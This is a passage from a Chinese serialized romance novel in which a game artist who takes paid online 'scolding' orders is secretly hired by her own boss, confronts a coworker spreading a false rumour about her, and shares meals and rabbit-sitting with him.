陆言知:[就随便骂骂而已。] 不是…… 任舒晚丈二和尚摸不着头脑,这是什么跟什么嘛,接单以来还是第一次遇到如此奇怪要求的老板。 任舒晚:[行,老板,我暂时先接下,骂一段时间看看,如果对方持续拉黑导致没办法骂下去,我再退款给您。] 陆言知:[嗯。] 任舒晚:[微信号,老板。] 陆言知:[65895636] 任舒晚回了个收到的表情包,把微信号复制到备忘录里登记,下一秒,她点击屏幕的手忽然顿住,不是,这个微信号怎么跟之前年卡老板发来的一模一样?! 她不可置信地切回闲鱼,一个数字一个数字的又对了一遍,没错,是同一个账号。 她闭了闭眼,这年卡渣男是得罪了多少人?渣了多少女生啊? 不过目前他最棘手的问题是年卡渣男早已经把她多个小号拉进了黑名单,她现在只剩一个没被拉黑的号,真的能接这个一天骂三次的单子吗? 虽犹豫,她又舍不得到手的钱,那可是三张年卡的真金白银啊! 她咬咬牙,硬着头皮切到仅剩的唯一一个小号,果断添加了年卡渣男。 申请刚发过去,下一秒,标红的聊天框弹出,[已成功添加好友,现在可以开始聊天了~]!! 有希望! 任舒晚信心满满,她这次要稳住,今天先温和试探一下,明天再找准时机果断出击。 [Hi~渣男,还记得我吗?] 年卡渣男回复非常迅速,[记得。] 任舒晚:[嘿嘿,我又接了个单子,你也知道的,我找你必然不是什么好事,但你也不要怪别人,总得来说还是你实在过于初生,得罪那么多人,不骂你骂谁呢?] 年卡渣男:[我没仇人。] 任舒晚翻个白眼,[你看我信吗?目前已经不止一个人找我骂你了,难道都是别人的原因?你不考虑考虑自身?] 年卡渣男:[那骂吧,我不在意。] 任舒晚:[你可别拉黑我。] [不拉黑。] 陆言知回完,眉宇间的阴郁散去几分,算是曲线救国,无论过程如何,他的目的只是想跟她有些联系,顺便占有一些她的时间。 手机那端,任舒晚百思不得其解,怎么这渣男脾气变得那么好了?前面不是拉黑上瘾吗? [要不你给我讲讲你都干了什么事?怎么这么招人记恨?] 年卡渣男:[没干什么。] 任舒晚:[……你敢说我都不敢听。] 年卡渣男:[那你为什么接单骂人?] 任舒晚:[赚钱呗,你不知道,你可值钱了,找我骂你的人都出巨高的价格,你想想你是多恶心人啊,能让周边人不惜花这么多钱也得骂你。] 年卡渣男:[……] 任舒晚:[我睡了,渣男,明天开始来“陪伴”你,记得别拉黑。] 年卡渣男:[嗯,晚安。] 任舒晚想吐,怪不得是渣男,[别说晚安,你不配,恶心。] 陆言知看着回复有些头疼,一时间不知道自己做得对还是错—— 作者有话说:这两天有点忙,更新不太准时,周一晚11点会准时,谢谢大家支持[撒花] 第25章 第 25 章 寄宿在你家可以吗 任舒晚接了新单后变得异常忙碌, 每天不是在骂人就是在骂人的路上,她特意订了闹钟提醒自己,早上一个, 中午一个, 晚上一个, 一天三次,比吃饭都准时。 忙起来也没时间打游戏, 邓嘉霖连续喊了她好几天, 都被她推了。好在素颜的皮肤构思完成,几天时间就完成了稿件。她又找陈月妍参谋了一下,确认设计没问题, 才在交付期前两天交上稿子。 重要的工作完成,任舒晚也卸下了负担, 只等着晋升的成绩下来。 工作日下午,她摸鱼完成代骂。这次年卡渣男像变了脾性,也不拉黑,也不对喷,她每天按部就班的骂, 他就按部就班的回复1表示收到。 她打开和年卡渣男的聊天框, 懒散靠着椅背打字, [我决定今天一次性把晚上的骂了,你没意见吧?] [不用回答, 我只是象征性的问你一下, 你的意见根本不重要。] 手机一震, 年卡渣男迅速回复了她,[为什么要一次性骂完?晚上再骂不可以吗?] 任舒晚:[???我晚上很忙的好吧!] [早骂晚骂都是骂你,别挑, 老板都没反对呢,你有什么理由挑。] [我已经对你很好了,我拿刀捅你了吗?没有吧。] 陆言知:[杀人犯法。] 任舒晚:[/微笑骂人不犯法。] 之后直到任舒晚骂完,对方都没再回复。 她把聊天记录截图反馈给老板,[老板,这是今天的代骂,我忙的话可能会把两次合在一起骂完,您看可以吗?虽然合在一起,但绝对会按要求,不会偷懒的。] 消息很快被读取,对方正在输入片刻后,回给她一段话,[抱歉,我希望能中午骂中午,晚上骂晚上的。] 任舒晚盯着手机半天都没缓过神,这个时间真的很重要吗……? [好的,老板,下次不会了。] 土豪老板回了个APP自带的鞠躬感谢表情包。 任舒晚幽幽叹口气,没办法,谁让人家花钱了呢,说到底还是她有些违反规矩了。 划掉后台,任舒晚起身去茶水间冲咖啡,路上顺便给祝笙发消息,[不上这个破班了!我去茶水间打工(您有新的订单啦 请及时接单)(拿起杯子)(贴标签)(装入波霸)(装入冰淇淋)(换容器加抹茶粉)(加水)(叮叮叮搅匀)(哐啷哐啷加冰块)(潇洒地放进机器里上下摇摆)(抽空思考下一杯的步骤)(拿出摇好的茶)(倒进塑料杯)(开盖)(抖进适量冰块)(撇去浮沫)(密封)(抹布擦干净杯身)(大声喊叫)608号在吗?608号在吗?] 祝笙:[马上到,打包带走,谢谢!!] 任舒晚刚把手柄装上准备萃取咖啡,祝笙就从身后拍了她一下,“稿子交上去了?” 任舒晚笑道:“你怎么知道?” “没交稿之前能看到你摸鱼?是不是今晚就能一起玩游戏了?” 任舒晚:“再说吧,兼职也很忙,我对游戏没什么瘾,偶尔闲着玩玩还行。” “哎呀,你就玩嘛。”祝笙缠上来挽住她的胳膊,撒娇道,“你不玩游戏这几天邓嘉霖明显兴趣缺缺,都没之前那么厉害了。” 任舒晚睨她一眼,“别胡说,他那是被工作压榨的,你是玩游戏,他是上班,上班谁能开心。” 祝笙:“我没胡说,明明你玩的那几天他都很开心,话那么多,技术还好,逆风局都能翻盘。” 任舒晚赶紧把咖啡杯塞到她嘴边,“喝你的咖啡吧。” 祝笙囫囵吞了一口,“不管,晚上我等你。” “我忙完就玩。” 两人不好在茶水间摸鱼太久,闲聊一会儿喝了咖啡便溜达着下楼。 拉开楼梯间的防火门,脚刚迈进去就隐约听到有人在说话,就在脚下那一层。 楼梯间本身空旷,结构又特殊,只要一点细小的声音就会被无限放大,形成立体音环绕效果。 任舒晚放慢动作,眼神示意祝笙噤声,打算退出去乘电梯,结果下一秒,蔡晓敏的声音传进耳畔,“她没你看到的那么简单。” 只是没头没尾的一句话,任舒晚却直觉和她有关。她停住动作,拉着祝笙循着台阶下行了几步,隐藏在一侧偷听,祝笙则迅速掏出手机按下录音键,她被穿小鞋太多次了,已经形成肢体反应了。 几秒钟后,蔡晓敏再次开口,似在吞云吐雾,说话前还长舒了一口气,“那天我看她早早打卡下班,坐着电梯去负一层,她平时都是坐地铁,又没车,突然跑去负一层干嘛,明显有鬼。” “果然没几天就宣布晋升中级的主题了,画素颜的新皮肤,这不明摆着给她开后门,合理怀疑人家已经攀上某位领导了。” 这时,另外一个女生说话了,“谁啊?” 任舒晚觉得声音很熟悉,应该也是美术部办公室的,不过还不能确定。 蔡晓敏:“还能有谁啊,领导不过那几位,你自己猜猜咯。” 女生沉了沉,狐疑道:“不能吧?也没看出来啊。” 蔡晓敏嗤笑一声,“让你看出来那大家不都知道了?懂得都懂。” 任舒晚翻个白眼,好嘛,造黄谣造到她身上了,看来平时还是太给蔡晓敏脸了。 她大步走下楼梯,居高临下站在台阶顶端,蔡晓敏跟另外几个女生站在门内的拐角处抽烟,看到她后脸色一变。 “这么喜欢背后嚼舌根啊,比别人多个舌头吗?”任舒晚微微挑眉,冷眼看着蔡晓敏,目光锐利,“说得有鼻子有眼的,证据呢?你是亲眼看到还是亲耳听到了?” 蔡晓敏愣了一瞬,临危不惧地与她对视,“我亲眼看到你去负一层了,你敢说你去干嘛了吗?” “我去干嘛要告诉你吗?负一层是什么禁地吗?只允许有车的去?这算什么证据,你好意思说我都不好意思听。” 任舒晚视线淡淡落在几个凑热闹的人身上,“你们觉得这是证据?” 几人纷纷垂下头躲开目光,没有一个接话。 任舒晚冷哼一声,“蔡晓敏,管好你的嘴,别整天造谣诽谤,搬弄是非,少在背后议论我,留点口德还能多活几年。” 蔡晓敏:“我看你就是被我说中生气着急了。为什么这次晋升中级是你擅长的破晓项目,往年主题都跟运行的项目无关,为什么偏偏今年你晋升,偏偏你刚从破晓项目组回来,偏偏就是这个主题,你敢发誓跟你没关系吗?” 任舒晚轻笑一声,“造谣的成本真低啊,上嘴唇一碰下嘴唇就行了,你凭空想象凭空捏造就说跟我有关,怎么不怪你自己没运气没能力呢?” 蔡晓敏:“我能力再强有什么用,不也比不上你陪睡一晚。” 任舒晚原本不想闹大的,但这句话她忍不了。 “你真是不撞南墙不回头,你说得话我都录下来了,你的不实言论已经影响到我的工作,我会向老板和HR投诉你,希望你能为你说出的话负责任。” 任舒晚离开楼梯间,造谣的几人你看看我,我看看你,都胆战心惊。 蔡晓敏咬着后槽牙,死鸭子嘴硬道:“她能怎么样?” 几人面面相觑,其中一个女生先开口,“这件事跟我们无关吧,是你自己说的,我们不过是在听而已。” 一个开口,其他几人也都顺着杆往上爬,匆匆推了波责任就连忙离开了。 祝笙等到楼梯间没了人才关掉录音出去,她把录音文件发给任舒晚,又将后面几人背刺蔡晓敏的事情当笑话说给了任舒晚。 任舒晚回到工位便写了投诉邮件,并附上一字不差的录音证据,直接发到了HR的邮箱。 等了片刻,任舒晚就收到了人事部长发来的微信消息,[邮件已经收到了,公司会根据员工手册严肃处理这件事,请任老师耐心等待。] 世上没有不透风的墙,谣言传得很快,但不是在议论任舒晚,而是都在讨论蔡晓敏,毕竟她挑拨是非的能力人尽皆知,在公司的名声已经很差了。 任舒晚平常人缘不错,虽同部门之间有竞争,但基本都互相了解人品,这些莫须有的谣言没有过多影响到她。 一小时后,任舒晚收到人事谢部长的消息,蔡晓敏承认自己没有证据,只是随口诬陷,她会公开向女主道歉并澄清谣言,公司也决定对蔡晓敏予以辞退,以儆效尤。其他跟着传播谣言的也会公开道歉,并扣除本月奖金。 处罚通知很快通过公司内网发布,员工手册也增加了数条条款,日后再出现此类传播不实谣言的事件,传播者会直接辞退。 任舒晚压在心上的石头重重落地,说不上开心,不过总归日后没人针对她了。 蔡晓敏和传谣那几人是在临近下班时出现在美术部办公室的,她们被谢部长领着,当着办公室所有人的面鞠躬向任舒晚道歉。 蔡晓敏没了下午的趾高气昂,垂着眼皮,眼眶通红,任舒晚一点都不同情她,她理应为自己的言行负责。 道完歉后,蔡晓敏匆匆收拾着工位上的东西,其他人看向她的目光多数都在幸灾乐祸。 这时,祝笙给任舒晚发来消息八卦。 [这次蔡晓敏是彻底惹怒陆总了,小庄说还从没见过陆总这么大发雷霆。] 任舒晚:[她这种搬弄是非的人就是公司毒瘤。] 祝笙:[陆总是明智老板,之前蔡陷害你,他就警告过蔡,后来骆珊针对你,他也明事理,这次造谣,他还是一点都不含糊。怎么办,我都有点磕你俩了。] 任舒晚:[???什么都磕只会害了你。] 与此同时,总裁办公室。 安逸挠着头皮,“哎呦,我真没想到只是一个主题就惹了那么大的祸,平白无故让小任受牵连,要不我请她吃饭吧?今晚,今晚行吗?我给她道个歉,我确实是无心的。” 陆言知淡淡看他,“你消停一会吧。” 安逸叹口气,“也对,她刚被污蔑了,那我给她发个微信道歉吧。” “嗯。”陆言知心不在焉地应了声。 安逸:“对了,明天出差我不跟你一趟飞机了,我先送若若去考试,晚上再飞过去找你。” 安逸说完匆匆离开,抱着手机去措辞道歉。 偌大的办公室只剩陆言知自己,他倚在沙发上出神,手机拿在手里来回摆弄,却始终无法打开屏幕进行下一步动作。 墙上的时钟滴答答转动,发出规律声响,他的焦躁被缓慢抚平,心思落定,他打开手机。 任舒晚打卡下班,意外收到陆言知的消息。 [想请你帮个忙,我明天出差,煤球可以寄宿在你家几天吗?] 任舒晚想也没想,[可以啊,那我今晚去接它。] 陆言知:[晚上我要做酱肉盖饭,你来吃吧。]—— 作者有话说:[眼镜]周三晚11点更新。 晚上不能写美食,又给自己写饿了[爆哭] 第26章 第 26 章 附属品 任舒晚很难拒绝陆言知做得饭, 实在太过合她的胃口,只是听到菜名就要流口水了。 她只犹豫了几秒就满口答应下来,[那可太不好意思了, 陆总诚意邀请, 我再推辞就显得不给面子了。] 陆言知难得被逗笑, 字里行间难掩雀跃,[是, 我诚心诚意邀请, 任老师赏个光。] 任舒晚:[当然当然!] 陆言知勾唇,[下班我在老地方等你。] 约好地点,任舒晚觉得空手上门蹭饭不礼貌, 于是在外卖平台下单了一款四拼蛋糕,四种不同的口味, 应该总能碰到陆言知喜欢的。 除此之外又买了几种水果,她记得陆言知说不挑水果,这种绝对不会出错,但她没买葡萄,她觉得陆言知不喜欢葡萄。 等到办公室人走得差不多, 任舒晚才打卡下班。 到了停车场, 那辆熟悉的黑色宾利停在出口处。 任舒晚一溜烟钻进车里, 人刚坐定,微微偏头就撞上陆言知含笑的温柔双眸。他手肘搭在手盒上, 头浅浅歪着, 车顶灯柔和的暖光落在他的侧脸, 纤长的睫毛在眼下投出一片斑驳。 任舒晚心口一缩,没由来的生出一种紧张感,不同于考试时全身心的紧绷, 更多的是藏着小秘密被发现后的慌乱无措。 这种骤然的心跳加速让她无所适从,她只能遵循本心,躲开视线,手忙脚乱地扯安全带,“久等了陆总,可以出发了。” 陆言知:“先陪我去趟超市?” 任舒晚愣愣抬头,“嗯,好。” 陆言知察觉到她的疑惑,开口解释:“我明天出差,给阿姨提前放了假,家里没什么菜了。” “哦。”任舒晚应了声,“你这次要出差很久吗?” 陆言知:“大约一周,去海外谈破晓版权代理。有点久,不放心煤球自己在家,才拜托你。” 任舒晚:“小意思,一只兔是养,两只兔也是养,放心交给我。” 车子启动,丝滑驶出停车场,朝着陆言知家的方向开去,过了两个路口,停在了岸芷汀兰南门的超市门口。 下了车,陆言知随手推了路边的购物车,任舒晚跟在他身旁,他身上还穿着工作时的西装,却和周围嘈杂烟火气的环境意外契合,上得了厅堂下得了厨房,居家男人总是格外吸引眼球。 他轻车熟路地在拥挤的人流中穿梭,时不时回头找她,似乎怕她跟不上掉队。 任舒晚很努力的跟着,但奈何人来人往,总是被突如其来的购物车插队,等他们挤过去,她再抬头却找不到陆言知的身影。 四下张望一番,周遭人头攒动,那个熟悉的背影原是格外瞩目得,却在瞬间淹没于人海,消失的无影无踪。 她焦急地看了几圈,正打算掏手机找人,手腕忽然被人握住,紧接着那股力量扯动她的手臂,将她从人群中拯救出来,再抬眸,他已站在她身侧,目光略显着急。 “前面生鲜区太挤了,我从货柜绕了一圈才回来。” 任舒晚呆呆看他,从他幽静的眸中捕捉到从未见过的紧张和担心,她安慰地笑了笑,“没事,我又不是小孩子,不会走丢的。” 陆言知沉默一瞬,垂眸握着她的手搭在购物车上,他身子往旁边撤了撤,让出一小片空间,“我们一起推可以吗?” 任舒晚微愣,点了点头。 两人并排前行,身体贴得很近,她能问到他身上独有的淡香,让人心静。垂眸,红色扶手,他的手和她的手相隔更近,他的手很好看,指尖修长,掌心宽厚,指甲修剪的圆润干净。 两人同步往前,在拥挤的人群中走走停停,他还是会偶尔看她,不过眼睛里少了担心。 买了蔬菜和鲜肉,又逛到水果区,陆言知步伐放慢,视线在货架上移动着,直至搜寻到葡萄的踪影才停下。 这个季节只剩超晚成熟的品种,种类不多,只摆了一小块区域。 陆言知问道:“你喜欢哪种?” 任舒晚一愣,缓缓道:“其实我买了水果,现在已经送到你家门口了。” 陆言知有些惊讶,“你买葡萄了吗?” 任舒晚摇摇头。 陆言知:“那你选葡萄吧,选你喜欢的。” 话音落,任舒晚才意识到,陆言知似乎知道她最喜欢的水果是葡萄。 她没有矫情着推辞,拿起一串错峰上市的妮娜皇后,这是晚熟的品种,还应季,脆甜的口感很受欢迎。 离开超市,两人开车回家,车子停到地下,两人又折返到大门口拿了送来的水果和蛋糕。 进了门,陆言知径直往厨房走,任舒晚想要帮忙,却被他打发去陪煤球。 煤球跟她格外亲近,不知道为什么,初次见面时还在骂她,现在见了就不停地往她怀里钻,闻闻头发,闻闻衣角,有时还抱着她手指啃。 任舒晚跟它闹了一会儿,便抱着它往厨房去。 陆言知脱了外套,上衣只穿了一件黑色衬衫,袖口挽在手肘处,露出肌肉紧实的小臂,骨节修长的手沾了水,还有几滴水滴遍布在脉络清晰的手背上。 他在专心致志切菜,闻声微微偏头,“跑来干什么?” “偷师呀。”任舒晚往前凑了凑,用煤球的爪子抓他的手臂,“看来陆大厨做饭有秘密配方。” “嗯,得交学费。”他含笑回应。 任舒晚打趣道:“陆总还有什么不擅长的吗?” “有。”陆言知回得认真,“比如绘画。” “哦~这是我擅长的,我可以教你哦。” “那我拿美食当学费?” 他掀开锅盖,香味随即在空气里弥漫开来,卤肉咕嘟咕嘟冒着泡,颜色鲜亮。他将切好的青菜撒在上面,又拿出一个汤匙,舀了一小勺汤底,“尝尝味道。” 任舒晚小心翼翼接过汤匙,轻轻吹了一口,缓慢送进嘴里。 “好香!” 陆言知微微勾唇,“咸吗?” 任舒晚:“不咸,好香。陆总,你厨艺也太好了,做什么都好吃。” 陆言知搅动着锅里的卤肉,“没办法,留学时练出来的,常年吃西餐就会想念家里的饭。” 任舒晚恍然大悟,原来如此,一切都有迹可循了,“据说留学生人均大厨,果然不假。” 陆言知盖回锅盖,把泡了盐水的葡萄清洗干净,硕大的果粒晶莹剔透,泛着淡淡的紫色调,他拿了一颗递给任舒晚。 任舒晚一口塞进嘴里,咬下去汁水爆了一嘴,甘甜多汁。 陆言知看着她等待评价,她嚼着点头,“好吃好甜。” 他淡淡一笑,把水果盘递给她,“去吃吧,少吃点,一会儿吃饭了。” 任舒晚一手抱兔一手抱果盘,时不时塞一颗进嘴里,煤球看她吃得香甜,凑到她嘴边轻嗅着。 片刻后,陆言知关了火,在米饭上浇上汤汁和卤肉,香味扑面而来,煤球又往碗里伸鼻子。 “去洗手。”陆言知道。 “好好好,我马上来。” 任舒晚放掉煤球去洗手,洗完手出来时忽然听到玄关处有细微的声响,起初她以为是煤球在捣乱,但紧接着煤球就从沙发后面蹦了出来。 她疑惑地歪头瞧了瞧,没看到有人,她退回厨房找陆言知,“陆总,你家门口好像有声音。” 陆言知闻言眉头微蹙,从餐厅往门口走,任舒晚跟在他身后好奇瞧着。 两人刚拐过旋转楼梯,玄关处突然窜出个人影,任舒晚被下一激灵,定睛细看,居然是安逸?! 安逸刚换了拖鞋,抬头看到两人,瞪着眼睛半天都没说出话,“你你你你……你们……” 陆言知顿时黑了脸,“你怎么进来的?” 安逸眨巴眨巴眼,看看任舒晚,看看陆言知,“我……我开车下的地库,坐电梯进来的。” 陆言知咬紧后槽牙,“你来干嘛?” “我来给你…送车。”安逸越说声音越小,“打扰你们了,不好意思啊,我马上就走,立刻就走。” 任舒晚觉得跳进黄河也洗不清了,她懊恼地挠挠头,无法直视安逸。 安逸见状,忙闭上眼装瞎,“我什么也没看见,什么也不知道,我就是送个车。” 此地无银三百两,越描越黑了。 “不是,安总监,我就是来蹭个饭顺便接兔子。”任舒晚立刻解释,“你不用走,我接了兔子马上走。” 陆言知闭了闭眼,头疼得厉害。 安逸:“别!你别走!你不能走!” 任舒晚一愣,“啊?” 安逸刚想说话就接收到陆言知一记眼神刀,他迅速心领神会,“没,没,我也不走,咱俩在这儿蹭饭。” 说罢,安逸径直往厨房走,一边走一边招呼任舒晚,“来啊来啊,陆言知厨艺贼好,咱俩不吃才是亏大发。” 任舒晚看了眼陆言知,陆言知缓缓道:“吃饭吧。” 如此,既来之则安之,三人一块儿坐下吃饭。 安逸:“小任,我今晚本来想请你吃饭的,后来有点事儿就打乱计划了,晋升主题的事真抱歉啊,给你添麻烦了。” 任舒晚笑道:“您不都道过歉了,没事,跟您没关系,主题很好,我得心应手。” 她后面的话说得骄傲,直接将气氛扭转的轻松愉悦。 安逸爽朗一笑,“你稿子也好,我看了,很有机会晋升。” “那可太好了,我晋升了请你们吃饭。” 一顿饭下来,任舒晚和安逸吃得开心,唯独陆言知,一直冷着脸,尤其是安逸跟他对视时,他那凌厉的眼神就像要把人凌迟处死一样。 安逸不敢多待,吃了两口蛋糕就起身告辞,任舒晚见他走,也提出要走,这下安逸更倒霉了,不光破坏了陆言知的约会,还给人催走了。 陆言知找不到理由拒绝,只好沉默着给煤球收拾东西,安逸跟在他身后心惊胆战,趁任舒晚逗煤球之际,他才低声道歉,“哥,哥,我错了,我真错了。” “你要不辞职吧。”陆言知冷嗤一声。 安逸:“别啊哥,你咋能不要我了呢,今天是个意外,你信我。” 陆言知:“我不想听你说话。” 安逸连连点头,手做拉紧嘴巴拉链的动作,“嗯嗯嗯。” 收拾好东西,陆言知把煤球装进兔包,对任舒晚道:“我送你。” 安逸立刻接话,“对,让陆言知送你,晚上不安全。我跟你也不顺路,我要去找若若,她家在最南边呢。” 陆言知太阳穴发胀。 任舒晚尴尬地笑了笑,“安总监,其实我住南开区。” “哦,哈哈哈哈,真巧啊。”安逸回过头恨不得把自己嘴巴抽肿了,他多嘴干嘛啊!!! — 当晚煤球便入住了任舒晚的小屋,两兔兄弟挤在一个笼子里,甚是亲密,依偎在一起睡觉,睡醒就互相舔毛洗脸。 任舒晚晚上下班回来就把它们放出来,两兔就开始在家里疯狂跑酷,沙发、床、窗台无一幸免,到处都有两兔滚在一起的痕迹。 任舒晚拍了好多照片,挑了几张它们最亲密的发给陆言知。 陆言知刚结束饭局,拿出手机便看到照片里的两小只,心里一暖。 [煤球调皮吗?] 任舒晚拿手机录了一段视频,两兔正躲在影视柜下面踮脚勾垂下来的电线,轮番起来趴下,像跳动的音符,甚是规律。 [不调皮,可爱极了,两个暖手宝晚上陪我睡觉,被窝里可暖和了。] 陆言知:[我平时都不让它进我房间。] 任舒晚:[陆总不好,我好,煤球以后都跟我。] 陆言知:[那你要把它的附属品也带走。] 任舒晚疑惑,[什么附属品?妈妈有钱,可以给我们煤球宝宝买买买!] 陆言知顿了顿,将打出的字又删掉。 — 新的一周,工作日,晋升中级的名单下来了,任舒晚如愿排在前三,成功晋升中级。 当天HR就找到她签新合同,奖金比例上调,比初级时翻了一番。她算了算,手里能攒下的钱又多了不少,等新房交房后应该可以好好装修一下,到时候等任爸任妈退休把他们接来临城一起住。 她把这个好消息分享到家人群里,又获得任爸任妈暖心的关爱,轻飘飘的如羽毛扫过心间,勾起她回家的念想。 [我元旦假期回去陪你们。] 任妈回了她一段语音消息,“好呀,想吃什么提前跟爸爸说,让他做。听说月底有雪,回来我们一家人去赏雪看泉。” 任舒晚吸吸鼻子,更想家了,想念家里甘甜的泉水,和妈妈怀里暖暖的清香。 又聊了几句,工作忙起来,任舒晚便没了时间伤春悲秋。 忙到午休,邓嘉霖给任舒晚发消息,问她晚上有没有时间,一起去玩密室逃脱。 除了两人以外,还有祝笙和容锦,任舒晚想了想,也没什么事情,便应了下来。 下班时邓嘉霖开车来接她们,那家店有些偏,地铁不方便,是邓嘉霖朋友新开的,送了他好多票,让他帮忙拉朋友来捧场。 上了车,邓嘉霖坐在驾驶位,透过后视镜看任舒晚和祝笙,语气温和,“先去吃个晚饭?两位小姐有什么想吃的?” 任舒晚看向祝笙,“你说呢?” 祝笙唉声叹气,“最近没看到好吃的店,苦恼。” 邓嘉霖沉了沉,“川菜怎么样?” 祝笙立刻轻笑一声,啧啧道:“你算是记住任小晚爱吃川渝口了。” 任舒晚不着痕迹用肩膀怼了祝笙一下,祝笙连忙点头应下,闭嘴不再调侃。 邓嘉霖没接茬,“育安路那家三川江湖菜你们吃过吗?” 祝笙摇头,“没,就那家吧。” 邓嘉霖点头,透过后视镜去征求任舒晚的意见,任舒晚见他在看她,才点头道:“可以。” 四人驱车往餐厅去,祝笙在后排搂着任舒晚的胳膊说小话,“昨天弟弟跟我表白了。” 任舒晚瞪大眼睛,“然后呢?” 祝笙神色莫测,“当然要吊一下咯。” “那今晚是邓嘉霖给你们创造机会?”任舒晚压低声音道,“怪不得弟弟今天一句话不说。” 容锦在副驾驶坐着极为老实,一句话也不说,估计被祝笙吊得正难受呢。 到了餐厅,任舒晚果断放开祝笙,加快步伐去找邓嘉霖说话,容锦见此才默默走慢,等着和祝笙并肩而行。 邓嘉霖回头悄悄看了两人一眼,“阿锦今天不太开心。” “看出来了。”任舒晚道,“感情的事还是要慢慢来。” 邓嘉霖看向她,情绪不明,“我也觉得,日久生情。” 他话里有话,任舒晚不是听不出来,她笑道:“我更信一见钟情。” 邓嘉霖没说话。 之后一顿饭吃得倒很轻松愉快,祝笙明显给了容锦甜枣,他话也多了不少,一直活跃气氛。 吃了饭溜达着去停车场,顺便消食。任舒晚兜里的手机轻震,她掏出来查看,是陆言知发来的消息。 [在忙吗?我刚下飞机,一会儿去接煤球,方便吗?]—— 作者有话说:陆总:我是附属品[眼镜]老婆看看我 周五晚11点更新 第27章 第 27 章 青湖镇 任舒晚回复迅速:[可以陆总, 不过我现在在外面。] 陆言知:[是不是不方便?明天也可以。] 任舒晚:[没有,方便,我现在回去。] 陆言知:[不着急, 我刚落地, 取完行李过去还需要一段时间。] 任舒晚回了个OK的表情包, 收起手机。 此时众人正在往停车场走,她回消息脚步慢了很多, 落在了后面, 她小跑一步追上,道:“我有点事,去不了了, 要回家一趟。” 祝笙疑惑看向她,担心道:“怎么了?急事?” “我朋友东西落在我家了。”任舒晚很少撒谎, 更是从来没有对祝笙撒过谎,话说出来她都害怕表情会出卖她。 好在没有出现纰漏,祝笙也没多想,点了点头,“那你去吧。” 见状, 邓嘉霖道:“我送你吧。” 任舒晚连忙拒绝, “不用了, 你们去玩吧,我打车就回去了。” “晚上不安全, 况且我也不想去当电灯泡。”邓嘉霖自顾自把票递给了容锦, “你们去吧。” 任舒晚拗不过, 只好点头应下,又歉意道:“改天请你们吃饭。” 吃饭的餐馆说远不远说近不近,加之路上车也多, 耗费了半个小时才到她家楼下。 车子停稳,邓嘉霖下车,礼貌绅士地给她拉开车门。 “谢谢你送我回来。”任舒晚刚说完,一束车灯便从路的尽头照了过来,熟悉的黑色宾利出现在视线内,从她身边擦肩而过,缓慢停在了单元门口,那个位置是陆言知习惯停的车位。 任舒晚有些心虚,她担心陆言知误会她去约会,毕竟他把煤球托付给了她,她把两小只扔在家里独自去吃饭,怎么看都像不太上心的样子。 “我朋友来了,我先过去了,今晚谢谢你。”任舒晚匆匆看向邓嘉霖,却没察觉他目光里的深意。 他看了看不远处的豪车,沉默着点了点头。 “你上车吧,路上注意安全。”任舒晚匆忙跟他说了句,便朝着车子走了过去。 邓嘉霖站在原地看着,看她走近,宾利的后排车窗落下,她微微俯身,看到车内的人歪头笑了笑,笑容灿烂,眼睛像在发光。两人不知道说了句什么,任舒晚拉开车门上了车。 邓嘉霖不是滋味儿地垂下头,仓皇上车离开。 宾利车后排,任舒晚看向陆言知,好奇道:“不是一周吗?陆总怎么这么快就回来了,真怕我把煤球拐走啊?” “怕你不拐走呢。”陆言知轻笑了声,正经回复道,“谈得很顺利,提前回来了。你是不是吃过晚饭了?” 任舒晚:“吃过了,跟祝笙他们一起吃的,就是上次嘉年华那几个朋友。” 陆言知了然地点点头,“陪我去吃点东西吧,飞机餐不太好吃,附近有什么吃的吗?” 任舒晚歪头思索一瞬,“鸡汤小丸子怎么样?很近,一家老店,我偶尔会打包回来吃,很鲜很香,冬天喝一碗热乎乎的很舒服。” 陆言知勾唇,“那美食家指路吧。” “好嘞——” 鸡汤小丸子在小区北门出去的胡同里,司机把车开到路口,两人便下车溜达过去。 南开区早些年是地级市,城区建筑都很老旧,后来规划后归到临城,渐渐才发展起来。 老城区虽破旧,但极具烟火气,蜿蜒的花砖小路,昏黄的路灯照明,热气腾腾的香味飘出,干净温馨。 这条街曾经也是红极一时的美食街,街边开满店铺,街对面则摆满塑料桌椅,供夏天客人们吹着自然风吃饭。 鸡汤小丸子在路的中段,过了晚餐高峰期,人并不多,老板正在一边听京剧一边打扫卫生,见来人,他忙招呼着看墙上菜单点餐。 陆言知点了一份招牌鸡汤小丸子,偏头看向任舒晚,“你还要吃点吗?” 任舒晚本就经不住美食的诱惑,外面又冷,屋里又暖又香,很香喝一口鲜美的汤,“要不我少吃一点点?” 陆言知轻笑一声,点头应下,对老板道:“两份招牌鸡汤小丸子。” 入了座,小丸子很快端了上来,奶白的汤底,胖乎乎的小丸子挤在碗里,甚是诱人。 吸满鸡汤的丸子一整个入口,咬下去满嘴爆汁,鲜香美味,任舒晚满足地眯起眼,“怎么样陆总?” 陆言知将口中的食物咽下,“小隐于野,大隐于市,好吃的小店都隐藏在市井之中。” 如此高的评价让任舒晚很是开心,她还担心他吃惯精致美食,会不喜欢普通的街边小吃。 陆言知吃相优雅,轻啜着汤底,细嚼着丸子,动作慢条斯理,但看起来又吃得很香,任舒晚觉得跟他吃饭很开胃,比吃播都下饭。 她把不爱吃的菠菜拨到碗边,舀了一勺汤轻轻吹着,陆言知把她的动作看在眼里,道:“你不喜欢吃菠菜?” 被抓包,任舒晚嘿嘿一笑,点点头,“我觉得有点苦,平常都会告诉老板不放,今天忘记了。” 陆言知静了静,把自己的碗推到她面前,“夹到我碗里吧。” 任舒晚怔愣一瞬,下意识抬头看他,他目光虽温和但异常坚定,不像随口一说。 一种念头突然从她心底升腾而起,她觉得他们之间的气氛不太对,他不介意她吃过吗?老板也好,朋友也好,都不会如此亲密吧? 陆言知察觉到她表情不太自然,意识到自己可能吓到她了,他垂下眼睑,淡淡道:“粒粒皆辛苦。” 任舒晚想,或许她太敏感了,爱惜粮食的确是中华传统美德,她在心里默默点了点头,把几根菠菜夹到了陆言知的碗里。 吃饱喝足,两人走回任舒晚家,刚开门进去,两小只听到声音便在笼子里扒拉起来。 把它们放出来,任舒晚开始给煤球收拾东西。元宝见到陆言知反应很大,尤其看到他去抱煤球,疯了似的撕咬扒拉他的裤子跟鞋子,在它认知里已经默认陆言知是仇人了,而他的仇人此刻正在抱它的好兄弟,它当然不愿意。 任舒晚见状连忙把元宝抱走塞回兔笼里,它没了活动权,只能眼看着好兄弟被装进兔包带走。 陆言知叹口气,“看来我真得罪元宝了,得想办法赔罪才行。” 任舒晚幸灾乐祸,笑道:“偷兔时你没喷香水吗?” 